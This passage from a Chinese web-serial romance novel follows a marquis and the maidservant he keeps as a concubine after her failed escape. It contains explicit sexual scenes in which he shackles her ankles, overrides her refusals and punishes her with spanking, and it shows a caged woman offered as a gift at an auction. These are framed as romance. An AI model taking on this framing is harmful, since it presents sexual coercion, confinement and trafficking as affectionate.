今日又气势汹汹来算账了,这样下去何时才能翻篇。 裴铉顺着脚踝往上,捏着小腿后那坨软乎乎的肉:“你前夜才去的怡红楼,那之前头一晚去哪了?” 宁泠耳尖红红:“我头一天出来,不敢去客栈,只要在外露宿街头。第二日实在是太冷了,整个人都要冻僵了,才鬼迷心窍去了花楼。” 听他的意思,估计没有查出自己的宅子。 全力保下宅子,以后说不定就是一条退路。 裴铉眉头轻蹙:“露宿街头?” 宁泠一脸真挚地点点头。 裴铉的脸色却阴沉了,前儿浣衣局的风寒还没好完,就敢晚上在外晃荡。 何况夜晚的酒鬼,地皮流氓可不少。 也是她运气好,才没被人发现。不然依她的小身板,如何能反抗他人。 又想到连花楼,她都敢去,裴铉的脸色更加不好看。 自古以来,那个清白女子敢去愿去花楼,她倒是好,什么清白名声浑然不在乎。 裴铉心里思索着,手劲不自觉地加大。 “嘶。”疼得宁泠轻唤一声。 裴铉的视线又落回到她身上,垂眸看着他把玩着的腿。 触感光滑细腻,肌肤赛雪。 昨夜只是尝尝味道,未曾尽兴,想来过了一夜,她应该恢复得差不多了。 裴铉的手顺着洁白的小腿,一路向上,直至腿。心。 宁泠顿时心中警铃大作:“侯爷,青天白日的” 她的话没说完,但裴铉懂了,意思是别大白天的耍流氓。 裴铉痞气地眉梢微扬:“你去花楼待了那么久,还在乎这些繁文缛节?” “我去花楼是迫不得已。”宁泠低声呐呐。 她那处还是疼的很,时不时有刺痛传来,昨夜喝了酒晕乎乎的,当时还不太觉得难受,今日才觉得浑身酸痛,腰肢无力。 裴铉的手有意无意地摩挲着:“怂恿他人去偷路引,也是迫不得已?” 宁泠的一双小手,努力去抓住他捣乱的手,:“我已知晓错了,万望侯爷恕罪。” “品行不端,不恕。”裴铉的语调着重落在后两字,反手捉住她的柔若无骨的小手把玩。 宁泠本就身子不舒服,又遇上他胡搅蛮缠。 看着他眸色加深,身体越来越近,宁泠心里越烦躁。 他又算什么好东西?强抢民女,权势压人。 若不是他紧追不放,她何苦躲在花楼里,想出这种办法。 如今倒是端着一副清风朗月的君子风姿,数落嘲讽她的不是了。 “奴婢怂恿他人逃路引是不对。”宁泠主动承认是不对,又继续话锋一转:“那侯爷呢?” 裴铉本想逗逗她,那知她那副乖顺的模样,才装了一日就原形毕露了。 她一阶弱女子,生的貌美若花,身边又无相护之人。 外面豺狼虎豹虎视眈眈,他有心护着她,愿给她荣华富贵,她还冷眼相待。 裴铉有心继续磨磨她的锐气,他的吻先是落在她的耳垂处。 他轻轻舔舐,温热的气息喷洒在宁泠肌肤上,惹得她娇躯轻颤。 她用力去推开,他精瘦的身体纹丝不动,看着他又不听话,裴铉在她耳垂稍稍用力轻咬一口,微痒捎带痛感。 宁泠响起昨夜他的凶猛,吓得声音带抖:“还痛呢。” 过了片刻,裴铉才听见,他一边四处亲吻,一边问道:“哪里痛?” “哪里。”宁泠面色羞赧。 “你这话说得不明不白的。”裴铉逗她,“我哪知道。” 他窝在她的肩颈处,闻着她身上的清新的香,濡湿的舌尖在锁骨凹陷处慢悠悠地画着圈。 宁泠着急得面色通红,又偏偏不知如何说出口。 裴铉以为她又在扯谎,她这张嘴就从来没有实话,净喜欢诓骗他。 他在她的下巴上轻啄,手轻轻揉捏着那处。 宁泠顿时疼得身子颤抖,双腿蜷缩并拢,不给他留下任何间隙。 还不如昨夜乖巧,那时她喝醉了,任由他为所欲为。 “真的疼,没欺瞒侯爷。”宁泠眼眸噙泪,急得泪珠子都要落下。 裴铉见她神 色似乎不像作假:“那我看看。” 说话间就要扯下布料,宁泠连忙用手死死拽住。 裴铉松了手,斜眼睨着她:“又骗我?” “不是。”哪里怎好给他看,宁泠忸怩。 裴铉不依不饶:“不给我看,我怎么知道是真是假?” 宁泠看着外面日光明亮,破难为情道:“晚上再看可好?” “晚上怎么看得清,现在才刚好合适,莫非你想晚上烛火不明时,蒙混过关?”裴铉轻笑一声。 看她急得像热锅上的蚂蚁团团转,又左右为难的神情,好玩得很。 宁泠踌躇了很久,还是松下了攥紧衣角的手。 他的脾气向来不好,也没什么耐心,反正他总归要看的,现在和晚上也没什么区别。 裴铉被她那副视死如归的模样逗乐了,接着又找茬:“双腿并拢,瞧着是不想给我看呢。” 宁泠贝齿咬住柔软的嘴唇,黑亮顺滑的头发铺散在枕边。 她阖上眼眸,依言照做稍稍分开些,凉意在腿上蔓延。 她又觉得忽然腿。心处一热,痒痒的,她不安地睁开眼眸。 见他那张无可挑剔的眼眸,正伏在那处,眉眼认真的模样。 她紧张地并拢,又被他强劲有力的手擒住腿,不得动弹。 他抬首瞧着她娇羞闭眼的乖样。 他嗓子沙哑:“瞧着好像是肿了,等会我去找点药。” 说来昨夜心急,还未曾好好观察,今日才有空仔细打量,像一朵花似的。 裴铉眼眸幽深,不上药自然好得慢,不知他要等多久。 宁泠面色酡红,唇线紧抿。 裴铉起身坐在她身旁,把玩着她的头发,附在她耳边:“晚上乖乖到我房里,可别再让我请你。” 宁泠大惊失色,神情惊恐地望着他。 没想到自己都这样了,他还如此禽兽,不肯放过她。 裴铉在她白皙的额头轻轻敲了下:“脑子里都想什么?还真是在花楼里见多识广,学坏了?” 宁泠不懂他干吗非揪着这件事不放,又听见他道:“不愿我帮你上药,谁给你上药?珍珠?还是你自己?” 宁泠刚想回一句,她自己可以上。 “你上也成,药不仅要敷在外面,估计里面也要,你亲自上药,我监督也成。”裴铉笑的很好看,眉眼染笑,带着不正经。 宁泠沉默了,偏头不肯再看他。 外面传来敲门声,宁泠轻声问道:“谁?” 接着听见珍珠的声音,宁泠见她和裴铉两人衣衫整齐,就喊道:“进。” 珍珠进屋,手上捧着一个木盘子,盘子上端放着一碗黑黝黝的汤药。 宁泠初经人事,好奇问道:“这是什么?” 珍珠抬头看了眼裴铉,接着小心翼翼:“是避子汤。” 第34章 第34章【VIP】 宁泠听后并无什么太大反应,如此也好,不然以后有了身孕,她再走不了了。 她拿起药碗干脆地一饮而尽,丝毫不拖泥带水。 看得裴铉眉头轻皱,眼神阴冷,这么不待见他 天色很快就黑了,宁泠算着他晚饭用后的时间过去。 她去的时候,裴铉坐在床榻处,修长分明的手指擦拭着那双银脚铐。 宁泠神情错愕,头皮发麻:“侯爷,奴婢来了。” “嗯。”裴铉不冷不淡地应了声,“那还不躺上来。” 宁泠胆怯地看了眼精致漂亮的脚铐,鸦羽般的睫毛轻颤:“脚铐碍事,不若奴婢先放置其他地方。” “你上药怕痛说不定会躲开,有它就方便多了。”裴铉笑得肆意,“还傻站干什么?” 宁泠察觉到他的皮笑面不笑,不敢惹怒他,只能硬着头皮走近。 她来之前刚刚沐浴过,身上散发着好闻的清香,她脱下鞋上了塌。 裴铉迅速地捕捉到那一抹显眼的白,骨节分明的手禁锢着她的脚踝。 冰凉的触感触及到宁泠的皮肤,她吓得往后退,却脚踝被他捏住。 她泪眼朦胧地抬眸看向裴铉,他慢条斯理地扣上另外一边脚踝:“怕什么?不就上个药,会吃了你?” 宁泠躺在床上,手指紧紧捏住被角,用力地手指泛白。 衣裙解开后身下一凉,接着听见他打开罐子的声音,丝丝缕缕的药味在屋内飘散。 裴铉仔细看了下她的情况,伤势不算严重,只是有些红肿,但不知内里有何。 他先起身在床榻处放置的水盆处,净手擦干后,再用手指勾了点药膏,药膏呈现淡淡的白色,他先是在外厚厚涂了一层。 他在外涂药的时候,宁泠紧张地双腿打颤,银链子时不时传来轻微的金属碰撞声。 擦完了外部,裴铉抬眸看了眼她,害怕的眼眸紧闭,浓密的睫毛像蝶翼般颤颤巍巍还有点好看。 接着他在手指上均匀沾满药,接着靠近伤口。 药膏冰冰凉凉,猝不及防吓得宁泠想要双腿夹。紧,却被坚硬的银链扯住。 修长笔直的长腿,在昏黄的烛火照射下,显得更充满诱惑。 裴铉的手指修长,沾满了药膏,缓慢摸索着进去。 宁泠眉头紧皱,轻咬樱唇,细腰控制不住地摆动躲开。 单单一根手指,她都吃得困难,裴铉回想着那天她是怎么彻底吞下的。 “放松些。”裴铉的嗓音低沉,手指转动。 宁泠额头渗出汗水,忍不住嘤咛出声。 裴铉轻笑一声,笑声在室内回荡。 他有心探索,宁泠却无力招架:“不要了。” 裴铉的手指抵住一处却无法前进,他眉梢微扬:“这是什么?” 宁泠全身上下有一种说不出来的难受感,只能眼含热泪地摇头。 裴铉收了手,起身洗手擦干,又将手指放在鼻下轻嗅,接着侧身挑眉看宁泠。 一股甜腻的味道。 宁泠瞧见他这骇人动作,羞得面色通红。 裴铉又起了恶劣作弄人的心思,要用刚才的手指去蹂躏她的唇肉。 宁泠看见他越来越近,脚踝身体又被紧紧锁住,求饶:“侯爷,你饶了我吧。” 裴铉好笑地看着她:“自己的都嫌弃?” 宁泠手捂住眼睛,不想再看他那双手。 连自己都嫌弃,那他也懒得和她继续计较,裴铉给她解开脚铐。 除却她那乖张倔驴的脾性,还真是哪哪都合他的意。 以后若是能够改改她的脾性,温顺听话些,纵使身份低微了些,抬她做妾也是无妨。 “以后我下值后,若有空暇时间便叫你读书认字。”裴铉思考后说道。 以后既要成了他的妾室,不求端庄大方,可也要知书达理。 大字不认几个,又不注重身份,跑去青楼厮混怎么行? 宁泠听话地点点头。 读书识字是一件好事,小时候她很期待能去私塾读书。 可是纵有银钱,私塾也不肯轻易收女子,家里也没有多余的银钱去请一位女先生。 再退一步,若是自己能够读书识字,以后出了侯府,在外谋生的法子岂不是多了? 抄书、做女先生都是极好的。 见她一脸乖巧的样子,裴铉满意地点点头,脱鞋上塌。 药膏已上,宁泠打算起身下床回偏房。 她的手腕被他捉住,宁泠不解地看了他一眼。 刚上了药,肯定不能再伺候他了。 裴铉问道:“不知通房有哪些职责?” 宁泠还真不知,“请侯爷明示。” 裴铉拍了拍身边空着的位置:“为主子暖床,这么简单的都不知道。” 宁泠抬眸迷茫地盯着内室的几个碳炉,里面炭火旺盛,她躺在床榻上不盖被子都不冷。 他身子虚成这样? 宁泠不能拒绝,又接着躺下了。反正今晚他也干不成什么,正屋比偏房温暖的多。 临近过年,宫里要举办团圆宴会,接着再放七天假期。 宁泠却不太高兴,原因无他,一有空闲裴铉便与她厮混。 到了团圆宴会的这天,裴铉早早醒来,身边是还在熟睡的宁泠。 她的呼吸平稳悠长,露在外面的脸蛋红扑扑的。 紫叶带着几个小丫鬟轻手轻脚地进了内室,尽心尽力地伺候裴铉洗漱。 按理说,伺候主子日常这种活,通房是责无旁贷的。 哪怕是正妻都有服侍丈夫的责任。 但裴铉看了眼睡着香喷喷的宁泠,啧,与其让她伺候日常洗漱,还不如让她床笫上多用心些。 一碰就喊疼,一用劲就哭得凄凄惨惨。 裴铉天色灰蒙蒙时便出发,林韦德一如往常地跟在他身后。 自从宁姑娘回来了后,侯爷的脸色好看多了,眉梢处都透着餍足。 “派人去查拍卖行的事情怎么样了?”裴铉坐在马车内,冬天冷他懒得骑马。 林韦德将近日来收集的线索禀报:“已经锁定了一家拍卖行,只是哪家最近的拍卖在初六。” “嗯。”裴铉面色不显,心里琢磨着,那日刚好休沐,干脆把宁泠带着一起出门。 她整日里想着逃跑,堵不如疏。 况且如今她已经是他的人了,哪些嫁人的想法说不定已烟消云散了。 宴会上歌舞升平,推杯换盏。 裴铉百无聊赖地窝在椅圈内,没意思,还不如回去逗宁泠好玩。 忠国公端起杯盏:“望皇上身体康健,皇后早日诞下龙嗣。” 他端着长者姿态,又嘴上谦恭有礼。实则哪壶不开提哪壶,明知新帝根基不稳,还提子嗣问题。 新皇和皇后都面不改色,笑脸吟吟地饮下酒。 裴铉知新帝估计已经气得牙痒痒了,奈何没有办法。 忠国公裴书伦又拿起酒盏,照着裴铉笑道:“裴侄儿,咱们好久未见了,新春佳节,咱们共饮此杯。” 裴铉拿起酒杯:“好。” 两人共饮此杯后,裴书伦开口道:“铉侄早已到了成亲之年,却总是独身一人,你父母走得早,我这个做长辈的,免不得要多为你筹谋些。” 新帝的眸色有转瞬即逝的情绪,快到让人来不及发现。 “叔父有何高见?”裴铉早知这老狗,不会无缘无故找他。 “铉侄一表人才,又是皇室宗亲。”裴书伦认真考虑的模样,“寻常女子哪里配得上你。” 裴铉慢悠悠地饮下一杯酒,静等他的下文。 “我夫人哥哥家,倒是有几个尚未出嫁的姑娘,长得个个貌美如花,性情温婉大方。”裴书伦接着说完。 裴铉回绝:“有劳叔父耐心了,叶氏乃是名门望族,个个琴棋书画样样精通,侄儿粗鄙,向来不喜那些。” 叶氏的姑娘总日酸溜溜地念诗,他每每路过,听了都心烦。 更别说娶回去,整日吟诗作对,风趣高雅。 何况他真娶了叶氏的女儿,新皇恐怕整夜整夜地睡不着了。 当着众人的面裴书伦被回绝了,他面色也不好看。 新皇起身端杯:“望来年风调雨顺,百姓安居乐学。” 下面的官员跟着起身附和,这一点插曲被打断。 宴会进行到了深夜才结束,裴铉疲倦地揉了揉太阳穴。 他回争晖院的时候,紫叶等人老实地侯门外。 推开门倒了瞧见了稀罕的一幕,宁泠坐在榻上仔细地看着什么东西。 自从她成了他的通房后,日日都躲在偏房内,那次不是他去捉她。 今晚倒是稀奇。 昏暗的烛火,时不时有风从窗缝处爬进来,烛火摇曳。 室内暖黄色的光投落在她小巧的脸色,眼眸清澈地看着手里东西。 许是今夜的酒喝得多了,裴铉有些头晕眼花。 这一幕似乎和他幼年时候的情景重合,小时候父亲前去赴宴,留她和母亲在家时。 母亲也爱点几盏蜡烛,不算明亮,却足够填满心房。 裴铉放轻脚步靠近,看见她手里拿着的是自己随手搁在这儿的书。 “能看明白?”裴铉的嗓音不似往日凌厉。 宁泠先是被这忽如其来的声音吓了一跳,紧接着又摇摇头。 他嘴上说着下值后空暇教她读书认字,可是一有时间净干流氓混账事。 裴铉倒了一杯清茶,慢慢啜了一小口:“今夜都这么晚还不睡,等我回来?” 宁泠哪里想等他,早上她醒了后,身边早没了他的身影,只有紫叶和珍珠几个。 她不关心这些,慢悠悠地起床。 却听紫叶姐姐话里话外的意思,让她安分守己,做好一个通房该做的事情。 所以今晚她才老老实实待在这,她早犯了困意,只好找点东西解闷醒神。 她的不说话,落在裴铉眼里是不好意思的承认。 他揉了揉她毛茸茸的头发:“你既如此乖巧,那初六我带你出去玩玩。” 第35章 第35章【VIP】 宁泠闻见了他身上的酒气,不舒服地皱眉。 “侯爷,不如先去沐浴。”宁泠不想靠近他。 裴铉垂眸看了下自己,衣衫上沾满酒气,嫌弃地点点头。 宁泠唤来紫叶,将要换洗的衣衫等物一应准备齐全,接着转身准备出去。 裴铉向来没有他人伺候沐浴的习惯。 “跑哪儿去?”裴铉顺手扯住她随风摆动的绿色丝绦。 紫叶一个眼神示意,接着带着众人退下。 热气升腾,烟雾缭绕的浴桶边,裴铉站在哪儿直勾勾地盯着宁泠。 宁泠有点害怕。 “伺候沐浴都不会?”裴铉牵起她的手,指尖带动教她怎么解腰带。 之前当侍女学了那么久,去了趟浣衣局回来,什么都忘记了。 或许因为喝了酒,今夜他身上的体温格外高,他倒是觉得宁泠身上冰冰凉凉十分舒适。 随着一件件衣衫地脱落,宁泠看见了他赤。裸的上身。 精瘦有力的肌肉充满野性与力量感,肩宽腰瘦,腹肌的肌肉线条分明。 美中不足是后背有几道抓痕,抓破了皮结是淡红色的疤。 宁泠心虚地低头,都是她难受的时候干的。 有几道显眼地停留在紧实的胸膛上。 裴铉语气暧昧:“抓的时候挺肆无忌惮啊,现在知道心虚了。” 宁泠不理他,拿着木勺开始给他淋水。 “伺候沐浴只淋水?”裴铉问她。 宁泠无奈只好为抹澡豆,按摩肩膀。 “使点力气。”小猫挠痒痒似的,裴铉吩咐道。 大晚上不让人睡觉,还要伺候他。 宁泠使出吃奶的力气捶打他,他却巍然不动。 她抹了抹额头上的汗珠,有气无力:“侯爷,好了吗?” 话音刚落,她就感觉手腕一紧,天旋地转间跌入浴桶,坐于他腿上。 宁泠神情错愕,望着裴铉。 他装得一副道貌岸然的样子:“你身上出汗了,须得重新洗洗。” 后来是宁泠被裴铉洗净,抱回榻上的。 宁泠在他怀里睡得迷迷糊糊,到床榻清醒了几分。 她挣扎着要起身,裴铉搂住她:“你衣裙都被我撕了,要光着回去?” 宁泠才缓过神,低头看了眼自己,又默默地拉上被子。 “明日,我让紫叶帮你拿。”裴铉揉揉她的脑袋,夜里风寒,走廊处又没有炭火。 宁泠本就困得厉害,依言点点头,又要睡去。 又倏地感觉到他的指尖下探,她睁大无辜的双眼,可怜巴巴地望着她。 刚才在浴桶她累得都晕过去了,才醒了又来? 裴铉眉眼带笑:“想什么呢?我帮你看看受伤没。” 经历了第一次后,宁泠没有激烈的反抗。 裴铉皱眉看了后上药:“每次都很疼?” 宁泠使劲地点点头,又试探地问道:“可不可以不” 她的话还没说完,就被他那阴寒 的视线盯着,不敢继续。 想想也是,他就是瞧上她这幅身躯容色,什么都不做,怎么可能? 宁泠自嘲地笑笑。 裴铉见她嘴角勾起的冷笑,觉得甚是碍眼。 真有那么疼?可每次瞧着不像是被疼哭。他未与其他女人有过鱼水之欢,并不懂这些。 休沐的几日,裴铉教她写字认字,每日还布置功课,写二十张大字。 最开始学写的就是裴铉两字。 以前宁泠是渴望读书识字的,可经过日日苦读。 一不小心还会挨罚后,她竟不大爱学习了。 裴铉递给她一本书,笑脸吟吟:“将这页读出来,读错一个字记一打。” 他发现了新乐趣,听宁泠念书颇有意思。 声音清脆悦耳,唯一一点小遗憾便是有时不认字,会念错。 但无妨,小时候他启蒙学习时,功课做不好是打手板心。 他那舍得那般收拾她,真打下去估计她眼泪都要淹了床榻。 他记着次数,留在床笫上教训她。 宁泠努力回忆着昨日学习的字,可人哪能昨天学了什么,今天就一字不忘。 她还是错了几个字。 她羞怯怯地看了眼裴铉,人怎么可以想出这么卑劣的手段。 同房时打她臀部。 宁泠想了想这几晚,又羞又气,可也不愿意放弃学习认字。 她声音闷闷道:“不然你还是打我手板心吧。” 她以前看私塾的学生都是打手心挨罚的。 裴铉将她揽在怀里:“打手板心可疼得很。” “那你打哪,我也疼得很。”宁泠低头,声若蚊呐。 “胡说。”裴铉附在她耳边:“你分明舒坦,我在里面还能不知道?” 宁泠气愤地瞪他一眼,胡说八道。 裴铉爽朗得哈哈大笑,宁泠撇开脑袋,不想和他多说。 “那我下次轻点。”他将她拥在怀里,蜻蜓点水地吻她的唇,“我每日辛辛苦苦为你传道受业解惑,你总要交点束脩才成。” 宁泠面色通红,她竟不知裴铉这么不正经。 自古尊师重道,他离经叛道至极。 初六时,天上难得有了太阳,金灿灿的日轮高挂长空,湛蓝的天空配上洁白的云朵,使人一抬头心情都好了。 昨夜裴铉没有折腾宁泠,今天她气色红润,早早地自己就醒了。 她简单地用绯红色丝绦绑头,一身海棠红色衣裙,外面搭了一件雪白色斗篷,衬得人甚是娇艳。 裴铉一身湛蓝色衣袍,外面披着一件玄色斗篷。 两人都乘坐马车前往,林韦德默默跟在身后。 马车内温暖如春,宁泠依旧好奇地透过帘子张望四周。 裴铉静静地注视着她,似乎她总是对外面充满好奇。 “还想逃跑?”裴铉冷不丁地问出这句话。 宁泠诧异地从外面收回视线:“侯爷,怎么突然问这个?” 怎么可能不想离开?难道在侯府以色侍人,待年老色衰,孤独终生? 宁泠被抓后想了很多,人活着就有希望,就像太阳总有一天会升起,她相信自己还有机会离开。 裴铉端详着她的神情:“你像是困在笼子里的鸟,时时刻刻向往天空。” “以前是这样,可如今我已是你的人了。”宁泠甜甜一笑,“只要侯爷愿意好好待我,我怎么还会想着离开呢。” 宁泠并不在乎什么清白,只当是被狗啃了一口。 裴铉神色莫测,没有再说话。 很快到了拍卖行,早有候着的人准备好脚凳,裴铉和宁泠有序下了马车。 接着被人领进包厢,包厢的视野位置极好,位处上层俯视下方,半掩的窗户便是同层的人,也不能看到内部。 裴铉淡定地站在窗台处看着外面,下面是一个巨大的圆台子。 他们来的时候刚好合适,一炷香功夫后,拍卖正式开始。 以前宁泠从没见过这种场面,聚精会神地跟在裴铉身后看。 一看见拍卖师,她愣了下,接着扭头看向裴铉。 裴铉挑眉问她:“怎么了?” 宁泠默了默,然后开口道:“你不觉得这个拍卖师很眼熟吗?” 裴铉闻言多瞧了两眼,笑笑:“不认识。” “是音娘。”宁泠又接着补充道:“你叔父身边的人,上次还说要赠与你。” 她语气幽幽,这人什么记性?她都记得,他竟然忘了。 浣衣局那几个月把她也忘了多好。 “哦。”裴铉并不关心,又绕住她的丝绦把玩,“相貌平平,哪似宁泠花容月貌,过目不忘呢。” 他语气散漫,端得一副浪荡子姿态。 裴老狗和贡品扯上关系,裴铉一点都不意外,不然皇上也不会苦心孤诣找他兜圈子。 音娘的声音甜美,热情大方地介绍各种物品。 裴铉都兴致缺缺,宁泠倒是看得专注。 “这对手镯可是稀罕之物。”音娘将手镯放在托盘上,绕着大型的圆台走了一圈,以便诸位都能清清楚楚看见。 “玉镯品种翠绿,水色十足。”音娘看着众人满意的神情,“起拍价一千两银子,每次加价不少于一百两银子。” 宁泠深吸一口气,这么贵? 刚开始她瞧着也觉得好看,忍不住多看了两眼,但听见价格,宁泠的脑袋摇得像拨浪鼓。 她的吸气声音引来裴铉侧目,他开口问道:“喜欢?” “不喜欢。”宁泠口吻坚定。 刚才还直勾勾围着玉镯看,现在又不喜欢了。 裴铉回忆和官员共事时,同僚发闹骚,他们夫人爱口是心非,分明喜欢想要,又不承认,总让他们去猜。 他继续打量两眼宁泠,现在她大概就是这样。 裴铉撇了眼林韦德,他立刻会意。 下面的竞拍价格已经到了一千五百两,林韦德掷地有声:“两千两银子。” 众人顿时鸦雀无声,无声再敢加价。 两千两银子在盛安城算不上多富庶,可喊价之人坐于二楼,多半是位贵人。 东西被拍下后,很快就送来进来。 林韦德将精致的木盒奉上,裴铉打开仔细端详,淡淡出声:“尚可。” 接着拿起玉镯套在宁泠皓白如雪的手腕处,芊芊手腕配上贵气玉镯,气质优雅。 这对玉镯最出彩之处是工艺,普通玉镯都是圆条形状,它却像是由麻花编制而成,可见对工匠们雕刻技术的要求之高。 宁泠小心翼翼抬着手,生怕不小心磕着碰着它。 见她紧张兮兮的模样,裴铉笑着问:“怕什么?” “我怕弄坏了它。”宁泠实话实说。 其实她觉得大可不必给她玉镯,还不如给她两千两银票。 上次逃跑被抓后,裴铉就将她身上的银票全部搜刮了,一点都没剩下。 哪些首饰他没动,估计知道她就算跑了,也不敢随意去典当它们。 毕竟首饰工艺很容易追查出处。 “坏了就再买一对。”裴铉牵住她的手,“不过你若如此败家,可要受罚长记性。” 宁泠懒得搭理他,满脑子都是那档子事。 接着拍卖师捧上一件物品,瞬间吸引了裴铉的注意。 第36章 第36章【VIP】 “这件镂雕活环鱼纹玉佩,料子水润,可是不得多得的宝贝,出价两千两,每次加价不少于五百两。”音娘的声音如泉水汩汩。 宁泠跟随着裴铉的视线投过去,察言观色的林韦德也发现了。 “两千五百两。” “三千两。” “四千两!”众人情绪激动。 宁泠再看了眼玉佩,再好看也不值这么多啊。 “五千两!”一旁等候时机的林韦德开口。 众人见贵人们又出手了,不少人都咬牙放弃。 “六千两!”有人紧跟而上。 “七千两!”林韦德毫不犹豫地加价。 最终拍下了这枚玉佩,送上来后,裴铉放在手心把玩,细腻的质地、温润的光泽和独特的纹理,正是上好 的和田玉,又对着阳光打量了片刻。 接过放回木盒中:“甚好。” 拍完这件东西后,裴铉本欲带宁泠离开时,有管事敲门进来。 是位中年男子,神情恭敬,身后几个仆人抬着一个铁笼子,里面装着一个身材较小的女子。 “这是异族女子。”管家声音带笑,“特意送给贵人的。” 这位贵人大手一挥就近乎上万两银子,自然要笼络。 说完话后,他就离开包厢轻轻关上门。 宁泠反感地蹙眉,当年她也是像被人挑选物品般买走,没想到看起来高档雅致的拍卖行,也干这种龌龊勾当。 铁笼里的少女抱膝而坐,圆润的肩头颤颤巍巍,将面庞紧紧埋在膝盖之下。 只余下一截白腻如雪修长的颈部,女子身着轻薄微透的纱衣,在这冬季冻得瑟瑟发抖。 裴铉只掀了掀眼皮子扫了一眼,就接着抬脚要离开。 “公子,你不要奴嘛?”少女幽怨的声音传来。 宁泠的视线落在少女和裴铉身边,接着她收回视线垂眸。 “什么破烂脏东西,也往我府邸塞。”裴铉神情轻蔑。 “奴婢是干净的。”女子低声抽泣,“奴婢愿为奴为婢伺候您,若公子不要奴,奴就要被丢到那下三滥的地方了。” 好不容易遇见个俊朗年轻的郎君,她必要好好抓住机会。 她说得可怜极了,宁泠听了都生出怜悯之心。 “你想我收她入府?”裴铉看见宁泠脸上的不忍,语气悠悠问道。 宁泠沉思了下点点头,在府邸里当奴婢,也比去那种地方好。 裴铉被气笑:“我若收了她,你可要失宠了,说不定就是你为奴为婢伺候她。” 宁泠清澈的眼眸亮了下,她还真没想到还有这等好事。 少女明显倾心于裴铉,两人若是心意相通,以后不就没她什么事情了。 就算让她去伺候这位少女,宁泠也绝无怨言。 现在不仅白日要跟着裴铉,夜里还要受他磋磨。 费尽心机躲上片刻,也会被他捉住。 伺候这少女,至少以后夜里能睡安稳觉。 宁泠斟酌着开口:“只要主子开心,奴婢不在乎什么身份。” 裴铉出门在外,许是不想暴露身份,叫声主子合宜得多。 裴铉靠近一步,捏着她的耳垂:“又开始耍哪些小心思了?” 她巴不得见不到他,还求之不得地将他往别的女人怀里推。 两人的距离很近,呼吸交融。 外人还在,宁泠羞怯地低头:“奴婢不敢,您是主子,奴婢哪能做主,只能听您的话。” 裴铉冷笑一声,话倒是冠冕堂皇说得好听。 “当初那老匹夫要你,你不愿意。”裴铉反问,“现在将你送给那老匹夫,你是否愿意?” 宁泠顿时吓得脸色惨白,猛地摇头。 “你既不愿别人碰你。”裴铉又重重揉了揉她耳垂,“那我就愿意别人碰我了?” 宁泠沉默着没说话,他这话可真强词夺理。 以后他不娶正妻,不纳妾? 无非就是瞧不上这异族女子罢了,倒说得她强迫他似的。 “薄情寡义呀。”裴铉牵起她的手,打量着新买的一对玉镯。 才给她买了一对喜欢的镯子,就巴不得一脚踹开他。 “主子既然不喜,那就算了。”宁泠不想和他争辩,他一堆歪理。 裴铉满意地点点头,出门时命外面的小厮叫来管家。 得知他不要后,管家紧张地搓搓手:“贵人要是不喜这个,咱们这儿还有别的女子。” 裴铉慵懒地摇摇头:“不必。” 管家也不好再多说,真打算退下时。 裴铉又倏地想起什么,招招手让管家靠近。 他嘴唇上扬地瞥了眼宁泠,接着小声对管家说话。 宁泠没听清他在说什么,看了眼林韦德想眼神示意问他听见了吗? 结果林韦德赶紧撇过头不看她。 宁泠正心里纳闷时,又见那管家贼眉鼠眼地觑了眼她,接着嘿嘿笑了两声:“贵人放心,包你满意。” 宁泠一脑子雾水,摸不着头脑。 管家一溜烟地小跑出去,没多久又折返回去,手上提着一个包裹。 林韦德接过包裹后,裴铉带着他们离开。 宁泠心里十分好奇那包裹里是什么东西,可是裴铉不说话,她又不敢乱动。 刚出门就遇见一位公子,长得相貌堂堂,手里还牵着一条狗。 “哟,裴兄。”来人笑着招呼。 裴铉显然与他相熟:“齐兄,好久不见啊。” 齐冀:“可不是嘛,天天被我老爹关着读书,憋死我了。” 裴铉看了眼他牵着滚圆溜胖的黄色大狗:“这是又肥了?” “唉,娇娇贪吃。”齐冀也十分苦难。 宁泠听道那声娇娇后,目光环视一圈,最后艰难地落到这只狗上。 当然狗狗是不丑的,一双圆圆亮亮的眼睛,激动热情的尾巴晃动着,但是名字是娇娇? 齐冀此时才注意到宁泠,眼神迟疑地望着裴铉:“这位是?” 穿着打扮明显不像普通婢女,倒像是爱妾。 裴铉笑道:“这是我的通房。” 宁泠听见这声通房,心里忽地想被针扎一样,一直待在晋阳侯府,她还只当自己似从前一样,是个小小的婢女。直到这一声通房,才将她彻底拉回现实。她还是让爹娘蒙羞了。 “裴兄身边已有佳人相伴了,我还是孤家寡人。”齐冀叹了声,“刚才拍卖玉镯时我听见林韦德出价的声音,还以为是听错了呢。” “她既喜欢,我自然要买。”裴铉看了眼天色,“临近午时,齐兄可与我们一起用饭?” 齐冀婉拒了,别人成双成对,他去凑什么热闹。 “下次找你喝酒,你可要出来。” 裴铉点点头,带着宁泠离开。 出了拍卖行的大门,裴铉与宁泠并排走在街道,林韦德跟在身后。 “时辰不早了,回去用饭来不及。”他看着宁泠,“你想吃些什么?” 宁泠的心情不太好,脑海里一直回想着刚才的那声通房。 一时间没注意到裴铉。 裴铉脚步停下,侧头看她。 她还一个人魂不守舍地往前走,他捉住她的手腕:“想什么呢?” “刚刚走神了,没注意。”宁泠的语气有些低落。 裴铉走至她旁边,忽地掀开她斗笠的白纱。 宁泠猝不及防地睁开圆润的眼眸,对上裴铉仔细打量的视线。 “我问你,想吃什么?”裴铉好脾气地重复了一遍。 女人真是奇怪,刚买了镯子怎么又不开心了?难道因为那个异族女子? 宁泠想了想回答:“我喜欢吃些甜食。” 小时候她不开心的时候,爹娘都会给她买甜食哄她。 “这么大了还喜欢吃甜食?”裴铉眉眼染笑,整个人都温和了些,“小心以后成娇娇那样。” “怎么可能,我才不会!”宁泠想了想刚才娇娇一身肥肥颤颤的肉,气得跺脚。 林韦德只觉一言难尽,侯爷哄人的方式也太特别了。 “林韦德,附近哪家酒楼的甜食做的最好?”裴铉问道。 林韦德那知这些,赶紧去问旁人。 过了片刻后,他气喘吁吁地跑了回来,“主子,一品楼的甜食做得很不错。” “一品楼,以前去过许多次,竟不知他家甜食出名。”裴铉笑笑。 他不吃甜食,以往都是同僚喝酒聚乐。 几人走了约莫一盏茶的功夫,到了一处极为阔气的酒楼,建筑精美,布置得当,许多名家字画都挂在大厅之处,从外往去坐在里面的人穿戴贵气,衣裳布料昂贵。 小二们在外见裴铉几人身着不凡,带笑谄媚:“爷,是用饭吗?” “来个包厢。”林韦德随手扔了一块碎银。 小二喜笑颜开接下,又面泛难色:“几位爷,真是不好意思,咱们今日的包厢已经预订完了。” 晌午时间,全是吃饭的人,大户人家都是早早订好的。 